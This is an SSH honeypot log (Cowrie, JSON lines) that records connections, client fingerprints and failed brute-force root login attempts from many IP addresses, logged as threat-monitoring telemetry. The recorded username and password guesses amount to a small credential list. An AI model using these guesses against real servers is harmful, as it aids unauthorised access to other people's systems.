{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":49600,"dst_ip":"10.17.0.5","dst_port":22,"session":"66650ffc21d1","protocol":"ssh","message":"New connection: 103.82.36.79:49600 (10.17.0.5:22) [session: 66650ffc21d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:10.313983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:10.318613Z","src_ip":"103.82.36.79","session":"66650ffc21d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:10.585735Z","src_ip":"103.82.36.79","session":"66650ffc21d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:11.394865Z","src_ip":"103.82.36.79","session":"66650ffc21d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:12.658092Z","src_ip":"103.82.36.79","session":"66650ffc21d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":43928,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5a4273fa5c3","protocol":"ssh","message":"New connection: 89.223.69.22:43928 (159.203.135.109:22) [session: c5a4273fa5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:14.039987Z"}
{"eventid":"cowrie.session.closed","duration":39.90331315994263,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:22.175323Z","src_ip":"137.184.5.188","session":"e0005317b1f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":51238,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49702a16684","protocol":"ssh","message":"New connection: 154.205.134.214:51238 (159.203.135.109:22) [session: b49702a16684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:25.798605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:25.802384Z","src_ip":"154.205.134.214","session":"b49702a16684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:25.969016Z","src_ip":"154.205.134.214","session":"b49702a16684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":56484,"dst_ip":"10.17.0.5","dst_port":22,"session":"922b95ef32b5","protocol":"ssh","message":"New connection: 77.94.47.83:56484 (10.17.0.5:22) [session: 922b95ef32b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:26.222275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:26.226248Z","src_ip":"77.94.47.83","session":"922b95ef32b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:26.334017Z","src_ip":"77.94.47.83","session":"922b95ef32b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"randall","message":"login attempt [root/randall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:26.654919Z","src_ip":"77.94.47.83","session":"922b95ef32b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wh123456789","message":"login attempt [root/Wh123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:26.671186Z","src_ip":"154.205.134.214","session":"b49702a16684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:27.764396Z","src_ip":"77.94.47.83","session":"922b95ef32b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:27.840183Z","src_ip":"154.205.134.214","session":"b49702a16684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":35680,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4551c107cbc","protocol":"ssh","message":"New connection: 208.109.189.255:35680 (10.17.0.5:22) [session: a4551c107cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:38.040413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:38.043916Z","src_ip":"208.109.189.255","session":"a4551c107cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:38.118210Z","src_ip":"208.109.189.255","session":"a4551c107cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skale789","message":"login attempt [root/skale789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:38.315957Z","src_ip":"208.109.189.255","session":"a4551c107cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:39.383756Z","src_ip":"208.109.189.255","session":"a4551c107cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42554,"dst_ip":"10.17.0.5","dst_port":22,"session":"1151834ac2bc","protocol":"ssh","message":"New connection: 103.122.221.179:42554 (10.17.0.5:22) [session: 1151834ac2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:41.262001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:41.265768Z","src_ip":"103.122.221.179","session":"1151834ac2bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:41.521628Z","src_ip":"103.122.221.179","session":"1151834ac2bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28091981","message":"login attempt [root/28091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:42.294143Z","src_ip":"103.122.221.179","session":"1151834ac2bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:43.553057Z","src_ip":"103.122.221.179","session":"1151834ac2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49736,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2b6c05f5a7f","protocol":"ssh","message":"New connection: 80.66.85.226:49736 (159.203.135.109:22) [session: e2b6c05f5a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:45.002990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:45.006903Z","src_ip":"80.66.85.226","session":"e2b6c05f5a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:45.095357Z","src_ip":"80.66.85.226","session":"e2b6c05f5a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16041982","message":"login attempt [root/16041982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:45.362255Z","src_ip":"80.66.85.226","session":"e2b6c05f5a7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:46.452738Z","src_ip":"80.66.85.226","session":"e2b6c05f5a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.49","src_port":59570,"dst_ip":"10.17.0.5","dst_port":22,"session":"c073cc1063f6","protocol":"ssh","message":"New connection: 92.118.39.49:59570 (10.17.0.5:22) [session: c073cc1063f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:50.072600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:50.076860Z","src_ip":"92.118.39.49","session":"c073cc1063f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:50.181692Z","src_ip":"92.118.39.49","session":"c073cc1063f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:50.491606Z","src_ip":"92.118.39.49","session":"c073cc1063f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:51.596915Z","src_ip":"92.118.39.49","session":"c073cc1063f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":60984,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb4d85309c3","protocol":"ssh","message":"New connection: 172.190.89.127:60984 (159.203.135.109:22) [session: 8cb4d85309c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:53.922479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:53.926093Z","src_ip":"172.190.89.127","session":"8cb4d85309c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:53.937981Z","src_ip":"172.190.89.127","session":"8cb4d85309c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wh123456789","message":"login attempt [root/Wh123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:54.013998Z","src_ip":"172.190.89.127","session":"8cb4d85309c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:55:55.026440Z","src_ip":"172.190.89.127","session":"8cb4d85309c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":36960,"dst_ip":"159.203.135.109","dst_port":22,"session":"23acbd10b899","protocol":"ssh","message":"New connection: 41.242.115.84:36960 (159.203.135.109:22) [session: 23acbd10b899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:08.312943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:08.316656Z","src_ip":"41.242.115.84","session":"23acbd10b899","protocol":"ssh"}
